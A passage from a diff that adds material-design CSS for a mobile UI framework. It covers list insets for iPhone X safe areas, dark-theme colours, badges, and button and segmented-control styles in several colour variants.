li.media-item .item-link .item-title-row { + padding-left: 0; + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after { + right: calc(16px + constant(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after { + right: calc(16px + const(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .list ul:before, +.list.md .theme-dark ul:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list ul:after, +.list.md .theme-dark ul:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list li li:last-child .item-inner:after, +.list.md .theme-dark li li:last-child .item-inner:after, +.md .theme-dark .list li:last-child li .item-inner:after, +.list.md .theme-dark li:last-child li .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-group-title:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-button:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider, +.md .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +.md .theme-dark .links-list a:after, +.md .theme-dark .simple-list li:after, +.md .theme-dark .links-list a:after, +.links-list.md .theme-dark a .simple-list li:after, +.simple-list.md .theme-dark li:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list .item-link.active-state, +.list.md .theme-dark .item-link.active-state, +.md .theme-dark .list .list-button.active-state, +.list.md .theme-dark .list-button.active-state, +.md .theme-dark .links-list a.active-state, +.links-list.md .theme-dark a.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .item-after, +.md .theme-dark .item-text { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .list-button { + color: #f44336; +} +.md .color-theme-green .list-button { + color: #4caf50; +} +.md .color-theme-blue .list-button { + color: #2196f3; +} +.md .color-theme-pink .list-button { + color: #e91e63; +} +.md .color-theme-yellow .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .list-button { + color: #ff9800; +} +.md .color-theme-gray .list-button { + color: #9e9e9e; +} +.md .color-theme-white .list-button { + color: #ffffff; +} +.md .color-theme-black .list-button { + color: #000000; +} +.md .list .list-button.color-red, +.md .list li.color-red .list-button, +.md .links-list li.color-red a, +.md .simple-list li.color-red, +.md .links-list a.color-red, +.md .list .item-link.color-red, +.md .list li.color-red .item-link { + color: #f44336; +} +.md .list .list-button.color-green, +.md .list li.color-green .list-button, +.md .links-list li.color-green a, +.md .simple-list li.color-green, +.md .links-list a.color-green, +.md .list .item-link.color-green, +.md .list li.color-green .item-link { + color: #4caf50; +} +.md .list .list-button.color-blue, +.md .list li.color-blue .list-button, +.md .links-list li.color-blue a, +.md .simple-list li.color-blue, +.md .links-list a.color-blue, +.md .list .item-link.color-blue, +.md .list li.color-blue .item-link { + color: #2196f3; +} +.md .list .list-button.color-pink, +.md .list li.color-pink .list-button, +.md .links-list li.color-pink a, +.md .simple-list li.color-pink, +.md .links-list a.color-pink, +.md .list .item-link.color-pink, +.md .list li.color-pink .item-link { + color: #e91e63; +} +.md .list .list-button.color-yellow, +.md .list li.color-yellow .list-button, +.md .links-list li.color-yellow a, +.md .simple-list li.color-yellow, +.md .links-list a.color-yellow, +.md .list .item-link.color-yellow, +.md .list li.color-yellow .item-link { + color: #ffeb3b; +} +.md .list .list-button.color-orange, +.md .list li.color-orange .list-button, +.md .links-list li.color-orange a, +.md .simple-list li.color-orange, +.md .links-list a.color-orange, +.md .list .item-link.color-orange, +.md .list li.color-orange .item-link { + color: #ff9800; +} +.md .list .list-button.color-gray, +.md .list li.color-gray .list-button, +.md .links-list li.color-gray a, +.md .simple-list li.color-gray, +.md .links-list a.color-gray, +.md .list .item-link.color-gray, +.md .list li.color-gray .item-link { + color: #9e9e9e; +} +.md .list .list-button.color-white, +.md .list li.color-white .list-button, +.md .links-list li.color-white a, +.md .simple-list li.color-white, +.md .links-list a.color-white, +.md .list .item-link.color-white, +.md .list li.color-white .item-link { + color: #ffffff; +} +.md .list .list-button.color-black, +.md .list li.color-black .list-button, +.md .links-list li.color-black a, +.md .simple-list li.color-black, +.md .links-list a.color-black, +.md .list .item-link.color-black, +.md .list li.color-black .item-link { + color: #000000; +} +/* === Badge === */ +.badge { + display: inline-block; + color: #fff; + background: #8e8e93; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; +} +.icon .badge, +.f7-icons .badge, +.framework7-icons .badge, +.material-icons .badge { + position: absolute; + left: 100%; + margin-left: -10px; + top: -2px; +} +.md .badge { + font-size: 10px; + border-radius: 3px; + padding: 1px 6px; + vertical-align: middle; +} +.md .icon .badge, +.md .f7-icons .badge, +.md .framework7-icons .badge, +.md .material-icons .badge { + line-height: 1.4; + padding: 1px 5px; + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.md .badge.color-red { + background-color: #f44336; +} +.md .badge.color-green { + background-color: #4caf50; +} +.md .badge.color-blue { + background-color: #2196f3; +} +.md .badge.color-pink { + background-color: #e91e63; +} +.md .badge.color-yellow { + background-color: #ffeb3b; +} +.md .badge.color-orange { + background-color: #ff9800; +} +.md .badge.color-gray { + background-color: #9e9e9e; +} +.md .badge.color-white { + background-color: #ffffff; +} +.md .badge.color-black { + background-color: #000000; +} +button { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; +} +input[type="submit"].button, +input[type="button"].button { + width: 100%; +} +button { + width: 100%; +} +.segmented { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} +.segmented .button, +.segmented button { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.subnavbar .segmented { + width: 100%; +} +.md .button { + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .button.button-fill, +.md .button.button-fill-md, +.md .button.button-active, +.md .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.button-fill.active-state, +.md .button.button-fill-md.active-state, +.md .button.button-active.active-state, +.md .button.tab-link-active.active-state { + background: #0c82df; +} +.md .button.button-big, +.md .button.button-big-md { + height: 48px; + line-height: 48px; + border-radius: 4px; +} +.md .button.button-round, +.md .button.button-round-md { + border-radius: 36px; +} +.md .button.button-outline { + border: 2px solid #2196f3; + line-height: 32px; +} +.md .button.button-outline.button-big, +.md .button.button-outline.button-big-md { + line-height: 44px; +} +.md .button.button-small, +.md .button.button-small-md { + height: 28px; + line-height: 28px; + font-size: 13px; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.button-small.button-outline, +.md .button.button-small-md.button-outline { + border-width: 2px; + line-height: 24px; +} +.md .button > i.icon + span, +.md .button > span:not(.ripple-wave) + span, +.md .button > span:not(.ripple-wave) + i.icon, +.md .button > i.icon + i.icon { + margin-right: 8px; +} +.md .button.button-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .button.button-raised.active-state { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .navbar .button:not(.button-fill):not(.button-fill-md), +.md .subnavbar .button:not(.button-fill):not(.button-fill-md), +.md .toolbar .button:not(.button-fill):not(.button-fill-md) { + color: #fff; +} +.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .toast .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .segmented { + border-radius: 4px; +} +.md .segmented.segmented-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .segmented.segmented-round { + border-radius: 36px; +} +.md .segmented .button { + border-radius: 0; + min-width: 0; + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .segmented .button:first-child { + border-radius: 0 4px 4px 0; + border-right: none; +} +.md .segmented .button.button-outline { + border: 2px solid #2196f3; +} +.md .segmented .button.button-outline:nth-child(n + 2) { + border-right: none; +} +.md .segmented .button:last-child { + border-radius: 4px 0 0 4px; +} +.md .segmented .button:first-child:last-child { + border-radius: 4px; +} +.md .segmented .button.button-round:first-child { + border-radius: 0 36px 36px 0; +} +.md .segmented .button.button-round:last-child { + border-radius: 36px 0 0 36px; +} +.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state { + background-color: rgba(255, 255, 255, 0.1); +} +.md .color-theme-red .button, +.md .color-red .button { + color: #f44336; +} +.md .color-theme-red .button.button-fill, +.md .color-red .button.button-fill, +.md .color-theme-red .button.button-fill-md, +.md .color-red .button.button-fill-md, +.md .color-theme-red .button.button-active, +.md .color-red .button.button-active, +.md .color-theme-red .button.tab-link-active, +.md .color-red .button.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .button.button-fill.active-state, +.md .color-red .button.button-fill.active-state, +.md .color-theme-red .button.button-fill-md.active-state, +.md .color-red .button.button-fill-md.active-state, +.md .color-theme-red .button.button-active.active-state, +.md .color-red .button.button-active.active-state, +.md .color-theme-red .button.tab-link-active.active-state, +.md .color-red .button.tab-link-active.active-state { + background: #f21f0f; +} +.md .color-theme-red .button.button-outline, +.md .color-red .button.button-outline { + border-color: #f44336; +} +.md .color-theme-green .button, +.md .color-green .button { + color: #4caf50; +} +.md .color-theme-green .button.button-fill, +.md .color-green .button.button-fill, +.md .color-theme-green .button.button-fill-md, +.md .color-green .button.button-fill-md, +.md .color-theme-green .button.button-active, +.md .color-green .button.button-active, +.md .color-theme-green .button.tab-link-active, +.md .color-green .button.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .button.button-fill.active-state, +.md .color-green .button.button-fill.active-state, +.md .color-theme-green .button.button-fill-md.active-state, +.md .color-green .button.button-fill-md.active-state, +.md .color-theme-green .button.button-active.active-state, +.md .color-green .button.button-active.active-state, +.md .color-theme-green .button.tab-link-active.active-state, +.md .color-green .button.tab-link-active.active-state { + background: #409343; +} +.md .color-theme-green .button.button-outline, +.md .color-green .button.button-outline { + border-color: #4caf50; +} +.md .color-theme-blue .button, +.md .color-blue .button { + color: #2196f3; +} +.md .color-theme-blue .button.button-fill, +.md .color-blue .button.button-fill, +.md .color-theme-blue .button.button-fill-md, +.md .color-blue .button.button-fill-md, +.md .color-theme-blue .button.button-active, +.md .color-blue .button.button-active, +.md .color-theme-blue .button.tab-link-active, +.md .color-blue .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .button.button-fill.active-state, +.md .color-blue .button.button-fill.active-state, +.md .color-theme-blue .button.button-fill-md.active-state, +.md .color-blue .button.button-fill-md.active-state, +.md .color-theme-blue .button.button-active.active-state, +.md .color-blue .button.button-active.active-state, +.md .color-theme-blue .button.tab-link-active.active-state, +.md .color-blue .button.tab-link-active.active-state { + background: #0c82df; +} +.md .color-theme-blue .button.button-outline, +.md .color-blue .button.button-outline { + border-color: #2196f3; +} +.md .color-theme-pink .button, +.md .color-pink .button { + color: #e91e63; +} +.md .color-theme-pink .button.button-fill, +.md .color-pink .button.button-fill, +.md .color-theme-pink .button.button-fill-md, +.md .color-pink .button.button-fill-md, +.md .color-theme-pink .button.button-active, +.md .color-pink .button.button-active, +.md .color-theme-pink .button.tab-link-active, +.md .color-pink .button.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .button.button-fill.active-state, +.md .color-pink .button.button-fill.active-state, +.md .color-theme-pink .button.button-fill-md.active-state, +.md .color-pink .button.button-fill-md.active-state, +.md .color-theme-pink .button.button-active.active-state, +.md .color-pink .button.button-active.active-state, +.md .color-theme-pink .button.tab-link-active.active-state, +.md .color-pink .button.tab-link-active.active-state { + background: #ca1452; +} +.md .color-theme-pink .button.button-outline, +.md .color-pink .button.button-outline { + border-color: #e91e63; +} +.md .color-theme-yellow .button, +.md .color-yellow .button { + color: #ffeb3b; +} +.md .color-theme-yellow .button.button-fill, +.md .color-yellow .button.button-fill, +.md .color-theme-yellow .button.button-fill-md, +.md .color-yellow .button.button-fill-md, +.md .color-theme-yellow .button.button-active, +.md .color-yellow .button.button-active, +.md .color-theme-yellow .button.tab-link-active, +.md .color-yellow .button.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .button.button-fill.active-state, +.md .color-yellow .button.button-fill.active-state, +.md .color-theme-yellow .button.button-fill-md.active-state, +.md .color-yellow .button.button-fill-md.active-state, +.md .color-theme-yellow .button.button-active.active-state, +.md .color-yellow .button.button-active.active-state, +.md .color-theme-yellow .button.tab-link-active.active-state, +.md .color-yellow .button.tab-link-active.active-state { + background: #ffe712; +} +.md .color-theme-yellow .button.button-outline, +.md .color-yellow .button.button-outline { + border-color: #ffeb3b; +} +.md .color-theme-orange .button, +.md .color-orange .button { + color: #ff9800; +} +.md .color-theme-orange .button.button-fill, +.md .color-orange .button.button-fill, +.md .color-theme-orange .button.button-fill-md, +.md .color-orange .button.button-fill-md, +.md .color-theme-orange .button.button-active, +.md .color-orange .button.button-active, +.md .color-theme-orange .button.tab-link-active, +.md .color-orange .button.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .button.button-fill.active-state, +.md .color-orange .button.button-fill.active-state, +.md .color-theme-orange .button.button-fill-md.active-state, +.md .color-orange .button.button-fill-md.active-state, +.md .color-theme-orange .button.button-active.active-state, +.md .color-orange .button.button-active.active-state, +.md .color-theme-orange .button.tab-link-active.active-state, +.md .color-orange .button.tab-link-active.active-state { + background: #d68000; +} +.md .color-theme-orange .button.button-outline, +.md .color-orange .button.button-outline { + border-color: #ff9800; +} +.md .color-theme-gray .button, +.md .color-gray .button { + color: #9e9e9e; +} +.md .color-theme-gray .button.button-fill, +.md .color-gray .button.button-fill, +.md .color-theme-gray .button.button-fill-md, +.md .color-gray .button.button-fill-md, +.md .color-theme-gray .button.button-active, +.md .color-gray .button.button-active, +.md .color-theme-gray .button.tab-link-active, +.md .color-gray .button.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .button.button-fill.active-state, +.md .color-gray .button.button-fill.active-state, +.md .color-theme-gray .button.button-fill-md.active-state, +.md .color-gray .button.button-fill-md.active-state, +.md .color-theme-gray .button.button-active.active-state, +.md .color-gray .button.button-active.active-state, +.md .color-theme-gray .button.tab-link-active.active-state, +.md .color-gray .button.tab-link-active.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .button.button-outline, +.md .color-gray .button.button-outline { + border-color: #9e9e9e; +} +.md .color-theme-white .button, +.md .color-white .button { + color: #ffffff; +} +.md .color-theme-white .button.button-fill, +.md .color-white .button.button-fill, +.md .color-theme-white .button.button-fill-md, +.md .color-white .button.button-fill-md, +.md .color-theme-white .button.button-active, +.md .color-white .button.button-active, +.md .color-theme-white .button.tab-link-active, +.md .color-white .button.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .button.button-fill.active-state, +.md .color-white .button.button-fill.active-state, +.md .color-theme-white .button.button-fill-md.active-state, +.md .color-white .button.button-fill-md.active-state, +.md .color-theme-white .button.button-active.active-state, +.md .color-white .button.button-active.active-state, +.md .color-theme-white .button.tab-link-active.active-state, +.md .color-white .button.tab-link-active.active-state { + background: #ebebeb; +} +.md .color-theme-white .button.button-outline, +.md .color-white .button.button-outline { + border-color: #ffffff; +} +.md .color-theme-black .button, +.md .color-black .button { + color: #000000; +} +.md .color-theme-black .button.button-fill, +.md .color-black .button.button-fill, +.md .color-theme-black .button.button-fill-md, +.md .color-black .button.button-fill-md, +.md .color-theme-black .button.button-active, +.md .color-black .button.button-active, +.md .color-theme-black .button.tab-link-active, +.md .color-black .button.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .button.button-fill.active-state, +.md .color-black .button.button-fill.active-state, +.md .color-theme-black .button.button-fill-md.active-state, +.md .color-black .button.button-fill-md.active-state, +.md .color-theme-black .button.button-active.active-state, +.md .color-black .button.button-active.active-state, +.md .color-theme-black .button.tab-link-active.active-state, +.md .color-black .button.tab-link-active.active-state { + background: #000000; +} +.md .color-theme-black .button.button-outline, +.md .color-black .button.button-outline { + border-color: #000000; +} +.md .button.color-red { + color: #f44336; +} +.md .button.color-red.button-fill, +.md .button.color-red.button-fill-md, +.md .button.color-red.button-active, +.md .button.color-red.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .button.color-red.button-fill.active-state, +.md .button.color-red.button-fill-md.active-state, +.md .button.color-red.button-active.active-state, +.md .button.color-red.tab-link-active.active-state { + background: #f21f0f; +} +.md .button.color-red.button-outline { + border-color: #f44336; +} +.md .button.color-green { + color: #4caf50; +} +.md .button.color-green.button-fill, +.md .button.color-green.button-fill-md, +.md .button.color-green.button-active, +.md .button.color-green.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .button.color-green.button-fill.active-state, +.md .button.color-green.button-fill-md.active-state, +.md .button.color-green.button-active.active-state, +.md .button.color-green.tab-link-active.active-state { + background: #409343; +} +.md .button.color-green.button-outline { + border-color: #4caf50; +} +.md .button.color-blue { + color: #2196f3; +} +.md .button.color-blue.button-fill, +.md .button.color-blue.button-fill-md, +.md .button.color-blue.button-active, +.md .button.color-blue.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.color-blue.button-fill.active-state, +.md .button.color-blue.button-fill-md.active-state, +.md .button.color-blue.button-active.active-state, +.md .button.color-blue.tab-link-active.active-state { + background: #0c82df; +} +.md .button.color-blue.button-outline { + border-color: #2196f3; +} +.md .button.color-pink { + color: #e91e63; +} +.md .button.color-pink.button-fill, +.md .button.color-pink.button-fill-md, +.md .button.color-pink.button-active, +.md .button.color-pink.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .button.color-pink.button-fill.active-state, +.md .button.color-pink.button-fill-md.active-state, +.md .button.color-pink.button-active.active-state, +.md .button.color-pink.tab-link-active.active-state { + background: #ca1452; +} +.md .button.color-pink.button-outline { + border-color: #e91e63; +} +.md .button.color-yellow { + color: #ffeb3b; +} +.md .button.color-yellow.button-fill, +.md 